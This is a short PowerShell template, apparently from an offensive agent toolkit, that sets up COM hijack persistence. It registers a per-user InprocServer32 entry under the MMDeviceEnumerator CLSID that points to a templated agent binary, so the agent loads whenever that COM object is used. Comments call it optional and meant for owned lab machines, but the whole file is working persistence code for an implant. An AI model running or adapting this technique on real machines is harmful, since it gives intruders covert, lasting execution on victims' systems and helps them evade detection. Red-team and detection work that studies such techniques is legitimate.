24 lines
974 B
PowerShell
24 lines
974 B
PowerShell
# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
|
|
# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
|
|
# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
|
|
$ErrorActionPreference = 'SilentlyContinue'
|
|
|
|
if ('{{COM_HIJACK}}' -ne 'true') {
|
|
Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
|
|
exit 0
|
|
}
|
|
|
|
# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
|
|
$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
|
|
$agentPath = '{{AGENT_PATH}}'
|
|
if (-not (Test-Path $agentPath)) {
|
|
Write-Error "Agent path missing: $agentPath"
|
|
exit 1
|
|
}
|
|
|
|
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
|
New-Item -Path $base -Force | Out-Null
|
|
Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
|
|
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
|
|
Write-Host "COM hijack registered under $clsid -> $agentPath"
|